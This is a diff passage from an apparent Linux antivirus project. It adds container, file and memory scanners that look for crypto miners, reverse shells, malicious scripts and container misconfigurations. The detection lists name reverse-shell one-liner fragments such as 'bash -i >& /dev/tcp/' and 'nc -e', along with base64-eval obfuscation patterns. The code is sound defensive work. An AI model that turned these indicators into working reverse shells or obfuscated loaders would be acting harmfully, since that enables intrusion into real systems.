+ data = yaml.safe_load(stdout) or {} + except Exception: + # Fallback: parse key lines manually. + data = {} + for line in stdout.splitlines(): + line = line.strip() + if ": " in line: + k, v = line.split(": ", 1) + data[k.strip()] = v.strip() + return data + + # ------------------------------------------------------------------ + # Container lookup + # ------------------------------------------------------------------ + + def _find_container(self, identifier: str) -> List[ContainerInfo]: + """Find a container by ID prefix or name across all runtimes.""" + safe_id = self._sanitize_id(identifier) + all_containers = self.list_containers( + runtime="all", include_stopped=True, + ) + return [ + c for c in all_containers + if safe_id in c.container_id + or safe_id.lower() == c.name.lower() + ] + + # ------------------------------------------------------------------ + # Scanning pipeline + # ------------------------------------------------------------------ + + def _scan_container( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Run all checks on a single container.""" + threats: List[ContainerThreat] = [] + + # Running-only checks + if container.status == "running": + threats.extend(self._check_processes(container)) + threats.extend(self._check_network(container)) + + # Always check these + threats.extend(self._check_filesystem(container)) + threats.extend(self._check_misconfigurations(container)) + if container.runtime == "incus": + threats.extend(self._check_incus_security(container)) + else: + threats.extend(self._check_image(container)) + + return threats + + # -- Process checks ------------------------------------------------ + + def _check_processes( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check running processes inside the container for miners / malware.""" + threats: List[ContainerThreat] = [] + cmd_prefix = self._get_exec_prefix(container) + if not cmd_prefix: + return threats + + # Try ``ps aux`` inside the container. + stdout, _, rc = self._run_cmd(cmd_prefix + ["ps", "aux"], timeout=15) + if rc != 0: + # Fallback: ``docker|podman top``. + if container.runtime in ("docker", "podman"): + rt_cmd = ( + self._docker_cmd + if container.runtime == "docker" + else self._podman_cmd + ) + stdout, _, rc = self._run_cmd( + [rt_cmd, "top", container.container_id, + "-eo", "pid,user,%cpu,%mem,comm,args"], + timeout=15, + ) + if rc != 0: + return threats + + miner_names_lower = {n.lower() for n in CRYPTO_MINER_PROCESS_NAMES} + + for line in stdout.splitlines()[1:]: # skip header + parts = line.split() + if len(parts) < 6: + continue + + process_name = parts[-1].split("/")[-1].lower() + full_cmd = ( + " ".join(parts[10:]) + if len(parts) > 10 + else " ".join(parts[5:]) + ) + + # Known miner process names + for miner in miner_names_lower: + if miner in process_name or miner in full_cmd.lower(): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name=f"CryptoMiner.Container.{miner.title()}", + threat_type="miner", + severity="CRITICAL", + details=( + f"Crypto miner process '{process_name}' detected " + f"inside container. CMD: {full_cmd[:200]}" + ), + process_name=process_name, + )) + break + + # High CPU usage + try: + cpu = float(parts[2]) + if cpu > 80: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="HighCPU.Container.SuspiciousProcess", + threat_type="miner", + severity="HIGH", + details=( + f"Process '{process_name}' using {cpu}% CPU " + f"inside container. Possible cryptominer." + ), + process_name=process_name, + )) + except (ValueError, IndexError): + pass + + # Reverse shells + _SHELL_INDICATORS = [ + "nc -e", "ncat -e", "bash -i", "/dev/tcp/", + "python -c 'import socket", + "perl -e 'use Socket", + "ruby -rsocket", + "php -r '$sock", + ] + for indicator in _SHELL_INDICATORS: + if indicator in full_cmd: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="ReverseShell.Container", + threat_type="malware", + severity="CRITICAL", + details=( + f"Reverse shell detected inside container: " + f"{full_cmd[:200]}" + ), + process_name=process_name, + )) + break + + return threats + + # -- Network checks ------------------------------------------------ + + def _check_network( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check container network connections for suspicious activity.""" + threats: List[ContainerThreat] = [] + cmd_prefix = self._get_exec_prefix(container) + if not cmd_prefix: + return threats + + stdout, _, rc = self._run_cmd( + cmd_prefix + ["sh", "-c", "ss -tnp 2>/dev/null || netstat -tnp 2>/dev/null"], + timeout=15, + ) + if rc != 0 or not stdout: + return threats + + pool_domains_lower = {d.lower() for d in CRYPTO_POOL_DOMAINS} + + for line in stdout.splitlines(): + line_lower = line.lower() + for pool in pool_domains_lower: + if pool in line_lower: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name=f"MiningPool.Container.{pool}", + threat_type="miner", + severity="CRITICAL", + details=( + f"Container connecting to mining pool: " + f"{line.strip()[:200]}" + ), + )) + for port in SUSPICIOUS_PORTS: + if f":{port}" in line: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name=f"SuspiciousPort.Container.{port}", + threat_type="malware", + severity="MEDIUM", + details=( + f"Container connection on suspicious port {port}: " + f"{line.strip()[:200]}" + ), + )) + + return threats + + # -- Filesystem checks --------------------------------------------- + + def _check_filesystem( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Scan container filesystem for suspicious files.""" + threats: List[ContainerThreat] = [] + + if container.runtime == "incus": + return self._check_filesystem_via_exec(container) + + if container.runtime not in ("docker", "podman"): + return threats + runtime_cmd = ( + self._docker_cmd + if container.runtime == "docker" + else self._podman_cmd + ) + if not runtime_cmd: + return threats + + # -- suspicious scripts in temp directories -------------------- + check_dirs = ["/tmp", "/var/tmp", "/dev/shm", "/root", "/home"] + for check_dir in check_dirs: + cmd = [ + runtime_cmd, "exec", container.container_id, + "find", check_dir, "-maxdepth", "3", "-type", "f", + "-name", "*.sh", "-o", "-name", "*.py", + "-o", "-name", "*.elf", "-o", "-name", "*.bin", + ] + stdout, _, rc = self._run_cmd(cmd, timeout=15) + if rc != 0 or not stdout: + continue + for fpath in stdout.splitlines()[:50]: + fpath = fpath.strip() + if not fpath: + continue + cat_cmd = [ + runtime_cmd, "exec", container.container_id, + "head", "-c", "8192", fpath, + ] + content, _, crc = self._run_cmd(cat_cmd, timeout=10) + if crc != 0: + continue + ct_lower = content.lower() + + if "stratum+tcp://" in ct_lower or "stratum+ssl://" in ct_lower: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="MinerConfig.Container", + threat_type="miner", + severity="CRITICAL", + details=( + f"Mining configuration found in container: {fpath}" + ), + file_path=fpath, + )) + + _MALICIOUS_PATTERNS = [ + "eval(base64_decode(", + "exec(base64.b64decode(", + "import socket;socket.socket", + "/dev/tcp/", + "bash -i >& /dev/tcp/", + ] + if any(s in ct_lower for s in _MALICIOUS_PATTERNS): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="MaliciousScript.Container", + threat_type="malware", + severity="HIGH", + details=( + f"Suspicious script pattern in container file: " + f"{fpath}" + ), + file_path=fpath, + )) + + # -- unexpected SUID binaries ---------------------------------- + _EXPECTED_SUID = { + "/usr/bin/passwd", "/usr/bin/su", "/usr/bin/sudo", + "/usr/bin/newgrp", "/usr/bin/chfn", "/usr/bin/chsh", + "/usr/bin/gpasswd", "/bin/su", "/bin/mount", "/bin/umount", + "/usr/bin/mount", "/usr/bin/umount", + } + cmd = [ + runtime_cmd, "exec", container.container_id, + "find", "/", "-maxdepth", "4", "-perm", "-4000", "-type", "f", + ] + stdout, _, rc = self._run_cmd(cmd, timeout=20) + if rc == 0 and stdout: + for fpath in stdout.splitlines(): + fpath = fpath.strip() + if fpath and fpath not in _EXPECTED_SUID: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="UnexpectedSUID.Container", + threat_type="rootkit", + severity="MEDIUM", + details=( + f"Unexpected SUID binary in container: {fpath}" + ), + file_path=fpath, + )) + + return threats + + # -- Misconfiguration checks --------------------------------------- + + def _check_misconfigurations( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check container for security misconfigurations.""" + threats: List[ContainerThreat] = [] + + # Incus misconfigs are handled in _check_incus_security. + if container.runtime not in ("docker", "podman"): + return threats + runtime_cmd = ( + self._docker_cmd + if container.runtime == "docker" + else self._podman_cmd + ) + if not runtime_cmd: + return threats + + stdout, _, rc = self._run_cmd( + [runtime_cmd, "inspect", container.container_id], + ) + if rc != 0: + return threats + try: + data = json.loads(stdout) + if not data: + return threats + c = data[0] + except (json.JSONDecodeError, IndexError): + return threats + + host_config = c.get("HostConfig", {}) + config = c.get("Config", {}) + + # Running as root + user = config.get("User", "") + if not user or user in ("root", "0"): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="RunAsRoot.Container", + threat_type="misconfiguration", + severity="MEDIUM", + details=( + "Container running as root user. " + "Use a non-root user for better isolation." + ), + )) + + # Privileged mode + if host_config.get("Privileged", False): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="PrivilegedMode.Container", + threat_type="misconfiguration", + severity="CRITICAL", + details=( + "Container running in privileged mode! " + "This grants full host access." + ), + )) + + # Host network + if host_config.get("NetworkMode", "") == "host": + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="HostNetwork.Container", + threat_type="misconfiguration", + severity="HIGH", + details=( + "Container using host network mode. " + "This bypasses network isolation." + ), + )) + + # Host PID namespace + if host_config.get("PidMode") == "host": + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="HostPID.Container", + threat_type="misconfiguration", + severity="HIGH", + details=( + "Container sharing host PID namespace. " + "Container can see all host processes." + ), + )) + + # Dangerous capabilities + _DANGEROUS_CAPS = { + "SYS_ADMIN", "SYS_PTRACE", "NET_ADMIN", "SYS_RAWIO", + "DAC_OVERRIDE", "SYS_MODULE", "NET_RAW", + } + added_caps = set(host_config.get("CapAdd", []) or []) + for cap in sorted(added_caps & _DANGEROUS_CAPS): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name=f"DangerousCap.Container.{cap}", + threat_type="misconfiguration", + severity="HIGH", + details=f"Container has dangerous capability: {cap}", + )) + + # Sensitive host mounts + _SENSITIVE_MOUNTS = { + "/", "/etc", "/var/run/docker.sock", "/proc", "/sys", + "/dev", "/root", "/home", + } + for mount in c.get("Mounts", []): + src = mount.get("Source", "") + if src in _SENSITIVE_MOUNTS: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="SensitiveMount.Container", + threat_type="misconfiguration", + severity="HIGH", + details=( + f"Container mounts sensitive host path: " + f"{src} -> {mount.get('Destination', '')}" + ), + )) + + # No resource limits + mem_limit = host_config.get("Memory", 0) + cpu_quota = host_config.get("CpuQuota", 0) + if mem_limit == 0 and cpu_quota == 0: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="NoResourceLimits.Container", + threat_type="misconfiguration", + severity="LOW", + details=( + "Container has no memory or CPU limits. " + "A compromised container could consume all host resources." + ), + )) + + # Security profiles disabled + security_opt = host_config.get("SecurityOpt", []) or [] + for opt in security_opt: + opt_str = str(opt) + if "apparmor=unconfined" in opt_str or "seccomp=unconfined" in opt_str: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="SecurityDisabled.Container", + threat_type="misconfiguration", + severity="HIGH", + details=f"Container security profile disabled: {opt}", + )) + + return threats + + # -- Image checks -------------------------------------------------- + + @staticmethod + def _check_image( + container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check if the container image has known issues.""" + threats: List[ContainerThreat] = [] + + # Using :latest or untagged image + image_name = container.image.split("/")[-1] + if container.image.endswith(":latest") or ":" not in image_name: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime=container.runtime, + threat_name="LatestTag.Container", + threat_type="misconfiguration", + severity="LOW", + details=( + f"Container using ':latest' or untagged image " + f"'{container.image}'. " + f"Pin to a specific version for reproducibility." + ), + )) + + return threats + + # -- Incus security checks ----------------------------------------- + + def _check_incus_security( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Check Incus container security configuration.""" + threats: List[ContainerThreat] = [] + labels = container.labels or {} + + # security.privileged = true + if labels.get("security.privileged") == "true": + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime="incus", + threat_name="PrivilegedMode.Incus", + threat_type="misconfiguration", + severity="CRITICAL", + details=( + "Incus container running in privileged mode! " + "This grants full host access." + ), + )) + + # security.nesting=true is required for Docker-in-Incus setups + # (e.g. Dokploy). Only flag it when combined with privileged mode. + if ( + labels.get("security.nesting") == "true" + and labels.get("security.privileged") == "true" + ): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime="incus", + threat_name="PrivilegedNesting.Incus", + threat_type="misconfiguration", + severity="CRITICAL", + details=( + "Container has security.nesting=true AND " + "security.privileged=true. This is a dangerous " + "combination allowing full host escape." + ), + )) + + # Check for Docker inside Incus (nested Docker). + if container.status == "running" and self._incus_cmd: + name = self._sanitize_id(container.name) + stdout, _, rc = self._run_cmd( + [self._incus_cmd, "exec", name, "--", "docker", "ps", "-q"], + timeout=10, + ) + if rc == 0 and stdout.strip(): + n_docker = len(stdout.strip().splitlines()) + # Not a threat — informational label stored in labels + # for the dashboard to display. + container.labels["_nested_docker_containers"] = str(n_docker) + + return threats + + def _check_filesystem_via_exec( + self, container: ContainerInfo, + ) -> List[ContainerThreat]: + """Scan an Incus container's filesystem via ``incus exec``.""" + threats: List[ContainerThreat] = [] + if container.status != "running" or not self._incus_cmd: + return threats + + name = self._sanitize_id(container.name) + check_dirs = ["/tmp", "/var/tmp", "/dev/shm", "/root"] + + for check_dir in check_dirs: + cmd = [ + self._incus_cmd, "exec", name, "--", + "find", check_dir, "-maxdepth", "3", "-type", "f", + "-name", "*.sh", "-o", "-name", "*.py", + "-o", "-name", "*.elf", "-o", "-name", "*.bin", + ] + stdout, _, rc = self._run_cmd(cmd, timeout=15) + if rc != 0 or not stdout: + continue + for fpath in stdout.splitlines()[:50]: + fpath = fpath.strip() + if not fpath: + continue + cat_cmd = [ + self._incus_cmd, "exec", name, "--", + "head", "-c", "8192", fpath, + ] + content, _, crc = self._run_cmd(cat_cmd, timeout=10) + if crc != 0: + continue + ct_lower = content.lower() + + if "stratum+tcp://" in ct_lower or "stratum+ssl://" in ct_lower: + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime="incus", + threat_name="MinerConfig.Incus", + threat_type="miner", + severity="CRITICAL", + details=f"Mining config found in container: {fpath}", + file_path=fpath, + )) + + _MALICIOUS_PATTERNS = [ + "eval(base64_decode(", + "exec(base64.b64decode(", + "import socket;socket.socket", + "/dev/tcp/", + "bash -i >& /dev/tcp/", + ] + if any(s in ct_lower for s in _MALICIOUS_PATTERNS): + threats.append(ContainerThreat( + container_id=container.container_id, + container_name=container.name, + runtime="incus", + threat_name="MaliciousScript.Incus", + threat_type="malware", + severity="HIGH", + details=f"Suspicious script in container file: {fpath}", + file_path=fpath, + )) + return threats + + # ------------------------------------------------------------------ + # Exec prefix + # ------------------------------------------------------------------ + + def _get_exec_prefix( + self, container: ContainerInfo, + ) -> Optional[List[str]]: + """Get the command prefix to execute commands inside a container.""" + if container.status != "running": + return None + cid = self._sanitize_id(container.container_id) + if container.runtime == "incus" and self._incus_cmd: + name = self._sanitize_id(container.name) + return [self._incus_cmd, "exec", name, "--"] + if container.runtime == "docker" and self._docker_cmd: + return [self._docker_cmd, "exec", cid] + if container.runtime == "podman" and self._podman_cmd: + return [self._podman_cmd, "exec", cid] + if container.runtime == "lxc": + lxc_attach = shutil.which("lxc-attach") + if lxc_attach: + name = self._sanitize_id(container.name) + return [lxc_attach, "-n", name, "--"] + return None + + # ------------------------------------------------------------------ + # Utility methods + # ------------------------------------------------------------------ + + def get_container_logs( + self, + container_id: str, + runtime: str = "docker", + lines: int = 100, + ) -> str: + """Get recent logs from a container.""" + cid = self._sanitize_id(container_id) + if runtime == "incus" and self._incus_cmd: + stdout, _, rc = self._run_cmd( + [self._incus_cmd, "exec", cid, "--", + "journalctl", "--no-pager", "-n", str(lines)], + timeout=15, + ) + return stdout if rc == 0 else "" + if runtime in ("docker", "podman"): + cmd_bin = ( + self._docker_cmd if runtime == "docker" else self._podman_cmd + ) + if not cmd_bin: + return "" + stdout, _, rc = self._run_cmd( + [cmd_bin, "logs", "--tail", str(lines), cid], + timeout=15, + ) + return stdout if rc == 0 else "" + return "" + + def get_container_stats( + self, + container_id: str, + runtime: str = "docker", + ) -> Dict[str, Any]: + """Get resource usage stats for a container.""" + cid = self._sanitize_id(container_id) + if runtime in ("docker", "podman"): + cmd_bin = ( + self._docker_cmd if runtime == "docker" else self._podman_cmd + ) + if not cmd_bin: + return {} + fmt = ( + '{"cpu":"{{.CPUPerc}}","mem":"{{.MemUsage}}",' + '"net":"{{.NetIO}}","block":"{{.BlockIO}}",' + '"pids":"{{.PIDs}}"}' + ) + stdout, _, rc = self._run_cmd( + [cmd_bin, "stats", cid, "--no-stream", "--format", fmt], + timeout=15, + ) + if rc != 0: + return {} + try: + return json.loads(stdout) + except json.JSONDecodeError: + return {} + return {} diff --git a/ayn-antivirus/ayn_antivirus/scanners/file_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/file_scanner.py new file mode 100644 index 0000000..9dddbf9 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/file_scanner.py @@ -0,0 +1,258 @@ +"""File-system scanner for AYN Antivirus. + +Walks directories, gathers file metadata, hashes files, and classifies +them by type (ELF binary, script, suspicious extension) so that downstream +detectors can focus on high-value targets. +""" + +from __future__ import annotations + +import grp +import logging +import os +import pwd +import stat +from datetime import datetime +from pathlib import Path +from typing import Any, Dict, Generator, List, Optional + +from ayn_antivirus.constants import ( + MAX_FILE_SIZE, + SUSPICIOUS_EXTENSIONS, +) +from ayn_antivirus.scanners.base import BaseScanner + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Well-known magic bytes +# --------------------------------------------------------------------------- +_ELF_MAGIC = b"\x7fELF" +_SCRIPT_SHEBANGS = (b"#!", b"#!/") +_PE_MAGIC = b"MZ" + + +class FileScanner(BaseScanner): + """Enumerates, classifies, and hashes files on disk. + + This scanner does **not** perform threat detection itself — it prepares + the metadata that detectors (YARA, hash-lookup, heuristic) consume. + + Parameters + ---------- + max_file_size: + Skip files larger than this (bytes). Defaults to + :pydata:`constants.MAX_FILE_SIZE`. + """ + + def __init__(self, max_file_size: int = MAX_FILE_SIZE) -> None: + self.max_file_size = max_file_size + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "file_scanner" + + @property + def description(self) -> str: + return "Enumerates and classifies files on disk" + + def scan(self, target: Any) -> Dict[str, Any]: + """Scan a single file and return its metadata + hash. + + Parameters + ---------- + target: + A path (``str`` or ``Path``) to the file. + + Returns + ------- + dict + Keys: ``path``, ``size``, ``hash``, ``is_elf``, ``is_script``, + ``suspicious_ext``, ``info``, ``header``, ``error``. + """ + filepath = Path(target) + result: Dict[str, Any] = { + "path": str(filepath), + "size": 0, + "hash": "", + "is_elf": False, + "is_script": False, + "suspicious_ext": False, + "info": {}, + "header": b"", + "error": None, + } + + try: + info = self.get_file_info(filepath) + result["info"] = info + result["size"] = info.get("size", 0) + except OSError as exc: + result["error"] = str(exc) + return result + + if result["size"] > self.max_file_size: + result["error"] = f"Exceeds max size ({result['size']} > {self.max_file_size})" + return result + + try: + result["hash"] = self.compute_hash(filepath) + except OSError as exc: + result["error"] = f"Hash failed: {exc}" + return result + + try: + result["header"] = self.read_file_header(filepath) + except OSError: + pass # non-fatal + + result["is_elf"] = self.is_elf_binary(filepath) + result["is_script"] = self.is_script(filepath) + result["suspicious_ext"] = self.is_suspicious_extension(filepath) + + return result + + # ------------------------------------------------------------------ + # Directory walking + # ------------------------------------------------------------------ + + @staticmethod + def walk_directory( + path: str | Path, + recursive: bool = True, + exclude_patterns: Optional[List[str]] = None, + ) -> Generator[Path, None, None]: + """Yield every regular file under *path*. + + Parameters + ---------- + path: + Root directory to walk. + recursive: + If ``False``, only yield files in the top-level directory. + exclude_patterns: + Path prefixes or glob-style patterns to skip. A file is skipped + if its absolute path starts with any pattern string. + """ + root = Path(path).resolve() + exclude = [str(Path(p).resolve()) for p in (exclude_patterns or [])] + + if root.is_file(): + yield root + return + + iterator = root.rglob("*") if recursive else root.iterdir() + try: + for entry in iterator: + if not entry.is_file(): + continue + entry_str = str(entry) + if any(entry_str.startswith(ex) for ex in exclude): + continue + yield entry + except PermissionError: + logger.warning("Permission denied walking: %s", root) + + # ------------------------------------------------------------------ + # File metadata + # ------------------------------------------------------------------ + + @staticmethod + def get_file_info(path: str | Path) -> Dict[str, Any]: + """Return a metadata dict for the file at *path*. + + Keys + ---- + size, permissions, permissions_octal, owner, group, modified_time, + created_time, is_symlink, is_suid, is_sgid. + + Raises + ------ + OSError + If the file cannot be stat'd. + """ + p = Path(path) + st = p.stat() + mode = st.st_mode + + # Owner / group — fall back gracefully on systems without the user. + try: + owner = pwd.getpwuid(st.st_uid).pw_name + except (KeyError, ImportError): + owner = str(st.st_uid) + + try: + group = grp.getgrgid(st.st_gid).gr_name + except (KeyError, ImportError): + group = str(st.st_gid) + + return { + "size": st.st_size, + "permissions": stat.filemode(mode), + "permissions_octal": oct(mode & 0o7777), + "owner": owner, + "group": group, + "modified_time": datetime.utcfromtimestamp(st.st_mtime).isoformat(), + "created_time": datetime.utcfromtimestamp(st.st_ctime).isoformat(), + "is_symlink": p.is_symlink(), + "is_suid": bool(mode & stat.S_ISUID), + "is_sgid": bool(mode & stat.S_ISGID), + } + + # ------------------------------------------------------------------ + # Hashing + # ------------------------------------------------------------------ + + @staticmethod + def compute_hash(path: str | Path, algorithm: str = "sha256") -> str: + """Compute file hash. Delegates to canonical implementation.""" + from ayn_antivirus.utils.helpers import hash_file + return hash_file(str(path), algo=algorithm) + + # ------------------------------------------------------------------ + # Header / magic number + # ------------------------------------------------------------------ + + @staticmethod + def read_file_header(path: str | Path, size: int = 8192) -> bytes: + """Read the first *size* bytes of a file (for magic-number checks). + + Raises + ------ + OSError + If the file cannot be opened. + """ + with open(path, "rb") as fh: + return fh.read(size) + + # ------------------------------------------------------------------ + # Type classification + # ------------------------------------------------------------------ + + @staticmethod + def is_elf_binary(path: str | Path) -> bool: + """Return ``True`` if *path* begins with the ELF magic number.""" + try: + with open(path, "rb") as fh: + return fh.read(4) == _ELF_MAGIC + except OSError: + return False + + @staticmethod + def is_script(path: str | Path) -> bool: + """Return ``True`` if *path* starts with a shebang (``#!``).""" + try: + with open(path, "rb") as fh: + head = fh.read(3) + return any(head.startswith(s) for s in _SCRIPT_SHEBANGS) + except OSError: + return False + + @staticmethod + def is_suspicious_extension(path: str | Path) -> bool: + """Return ``True`` if the file suffix is in :pydata:`SUSPICIOUS_EXTENSIONS`.""" + return Path(path).suffix.lower() in SUSPICIOUS_EXTENSIONS diff --git a/ayn-antivirus/ayn_antivirus/scanners/memory_scanner.py b/ayn-antivirus/ayn_antivirus/scanners/memory_scanner.py new file mode 100644 index 0000000..080f0f8 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/scanners/memory_scanner.py @@ -0,0 +1,332 @@ +"""Process memory scanner for AYN Antivirus. + +Reads ``/proc//maps`` and ``/proc//mem`` on Linux to search for +injected code, suspicious byte patterns (mining pool URLs, known malware +strings), and anomalous RWX memory regions. + +Most operations require **root** privileges. On non-Linux systems the +scanner gracefully returns empty results. +""" + +from __future__ import annotations + +import logging +import os +import re +from pathlib import Path +from typing import Any, Dict, List, Optional, Sequence + +from ayn_antivirus.constants import CRYPTO_POOL_DOMAINS +from ayn_antivirus.scanners.base import BaseScanner + +logger = logging.getLogger(__name__) + +# Default byte-level patterns to search for in process memory. +_DEFAULT_PATTERNS: List[bytes] = [ + # Mining pool URLs + *(domain.encode() for domain in CRYPTO_POOL_DOMAINS), + # Common miner stratum strings + b"stratum+tcp://", + b"stratum+ssl://", + b"stratum2+tcp://", + # Suspicious shell commands sometimes found in injected memory + b"/bin/sh -c", + b"/bin/bash -i", + b"/dev/tcp/", + # Known malware markers + b"PAYLOAD_START", + b"x86_64-linux-gnu", + b"ELF\x02\x01\x01", +] + +# Size of chunks when reading /proc//mem. +_MEM_READ_CHUNK = 65536 + +# Regex to parse a single line from /proc//maps. +# address perms offset dev inode pathname +# 7f1c2a000000-7f1c2a021000 rw-p 00000000 00:00 0 [heap] +_MAPS_RE = re.compile( + r"^([0-9a-f]+)-([0-9a-f]+)\s+(r[w-][x-][ps-])\s+\S+\s+\S+\s+\d+\s*(.*)", + re.MULTILINE, +) + + +class MemoryScanner(BaseScanner): + """Scan process memory for injected code and suspicious patterns. + + .. note:: + This scanner only works on Linux where ``/proc`` is available. + Operations on ``/proc//mem`` typically require root or + ``CAP_SYS_PTRACE``. + """ + + # ------------------------------------------------------------------ + # BaseScanner interface + # ------------------------------------------------------------------ + + @property + def name(self) -> str: + return "memory_scanner" + + @property + def description(self) -> str: + return "Scans process memory for injected code and malicious patterns" + + def scan(self, target: Any) -> Dict[str, Any]: + """Scan a single process by PID. + + Parameters + ---------- + target: + The PID (``int``) of the process to inspect. + + Returns + ------- + dict + ``pid``, ``rwx_regions``, ``pattern_matches``, ``strings_sample``, + ``error``. + """ + pid = int(target) + result: Dict[str, Any] = { + "pid": pid, + "rwx_regions": [], + "pattern_matches": [], + "strings_sample": [], + "error": None, + } + + if not Path("/proc").is_dir(): + result["error"] = "Not a Linux system — /proc not available" + return result + + try: + result["rwx_regions"] = self.find_injected_code(pid) + result["pattern_matches"] = self.scan_for_patterns(pid, _DEFAULT_PATTERNS) + result["strings_sample"] = self.get_memory_strings(pid, min_length=8)[:200] + except PermissionError: + result["error"] = f"Permission denied reading /proc/{pid}/mem (need root)" + except FileNotFoundError: + result["error"] = f"Process {pid} no longer exists" + except Exception as exc: + result["error"] = str(exc) + logger.exception("Error scanning memory for PID %d", pid) + + return result + + # ------------------------------------------------------------------ + # /proc//maps parsing + # ------------------------------------------------------------------ + + @staticmethod + def _read_maps(pid: int) -> List[Dict[str, Any]]: + """Parse ``/proc//maps`` and return a list of memory regions. + + Each dict contains ``start`` (int), ``end`` (int), ``perms`` (str), + ``pathname`` (str). + + Raises + ------ + FileNotFoundError + If the process does not exist. + PermissionError + If the caller cannot read the maps file. + """ + maps_path = Path(f"/proc/{pid}/maps") + content = maps_path.read_text() + + regions: List[Dict[str, Any]] = [] + for match in _MAPS_RE.finditer(content): + regions.append({ + "start": int(match.group(1), 16), + "end": int(match.group(2), 16), + "perms": match.group(3), + "pathname": match.group(4).strip(), + }) + return regions + + # ------------------------------------------------------------------ + # Memory reading helper + # ------------------------------------------------------------------ + + @staticmethod + def _read_region(pid: int, start: int, end: int) -> bytes: + """Read bytes from ``/proc//mem`` between *start* and *end*. + + Returns as many bytes as could be read; silently returns partial + data if parts of the region are not readable. + """ + mem_path = f"/proc/{pid}/mem" + data = bytearray() + try: + fd = os.open(mem_path, os.O_RDONLY) + try: + os.lseek(fd, start, os.SEEK_SET) + remaining = end - start + while remaining > 0: + chunk_size = min(_MEM_READ_CHUNK, remaining) + try: + chunk = os.read(fd, chunk_size) + except OSError: + break + if not chunk: + break + data.extend(chunk) + remaining -= len(chunk) + finally: + os.close(fd) + except OSError: + pass # region may be unmapped by the time we read + return bytes(data) + + # ------------------------------------------------------------------ + # Public scanning methods + # ------------------------------------------------------------------ + + def scan_process_memory(self, pid: int) -> List[Dict[str, Any]]: + """Scan all readable regions of a process's address space. + + Returns a list of dicts, one per region, containing ``start``, + ``end``, ``perms``, ``pathname``, and a boolean ``has_suspicious`` + flag set when default patterns are found. + + Raises + ------ + PermissionError, FileNotFoundError + """ + regions = self._read_maps(pid) + results: List[Dict[str, Any]] = [] + + for region in regions: + # Only read regions that are at least readable. + if not region["perms"].startswith("r"): + continue + + size = region["end"] - region["start"] + if size > 50 * 1024 * 1024: + continue # skip very large regions to avoid OOM + + data = self._read_region(pid, region["start"], region["end"]) + has_suspicious = any(pat in data for pat in _DEFAULT_PATTERNS) + + results.append({ + "start": hex(region["start"]), + "end": hex(region["end"]), + "perms": region["perms"], + "pathname": region["pathname"], + "size": size, + "has_suspicious": has_suspicious, + }) + + return results + + def find_injected_code(self, pid: int) -> List[Dict[str, Any]]: + """Find memory regions with **RWX** (read-write-execute) permissions. + + Legitimate applications rarely need RWX regions. Their presence may + indicate code injection, JIT shellcode, or a packed/encrypted payload + that has been unpacked at runtime. + + Returns a list of dicts with ``start``, ``end``, ``perms``, + ``pathname``, ``size``. + """ + regions = self._read_maps(pid) + rwx: List[Dict[str, Any]] = [] + + for region in regions: + perms = region["perms"] + # RWX = positions: r(0) w(1) x(2) + if len(perms) >= 3 and perms[0] == "r" and perms[1] == "w" and perms[2] == "x": + size = region["end"] - region["start"] + rwx.append({ + "start": hex(region["start"]), + "end": hex(region["end"]), + "perms": perms, + "pathname": region["pathname"], + "size": size, + "severity": "HIGH", + "reason": f"RWX region ({size} bytes) — possible code injection", + }) + + return rwx + + def get_memory_strings( + self, + pid: int, + min_length: int = 6, + ) -> List[str]: + """Extract printable ASCII strings from readable memory regions. + + Parameters + ---------- + min_length: + Minimum string length to keep. + + Returns a list of decoded strings (capped at 500 chars each). + """ + regions = self._read_maps(pid) + strings: List[str] = [] + printable_re = re.compile(rb"[\x20-\x7e]{%d,}" % min_length) + + for region in regions: + if not region["perms"].startswith("r"): + continue + size = region["end"] - region["start"] + if size > 10 * 1024 * 1024: + continue # skip huge regions + + data = self._read_region(pid, region["start"], region["end"]) + for match in printable_re.finditer(data): + s = match.group().decode("ascii", errors="replace") + strings.append(s[:500]) + + # Cap total to avoid unbounded memory usage. + if len(strings) >= 10_000: + return strings + + return strings + + def scan_for_patterns( + self, + pid: int, + patterns: 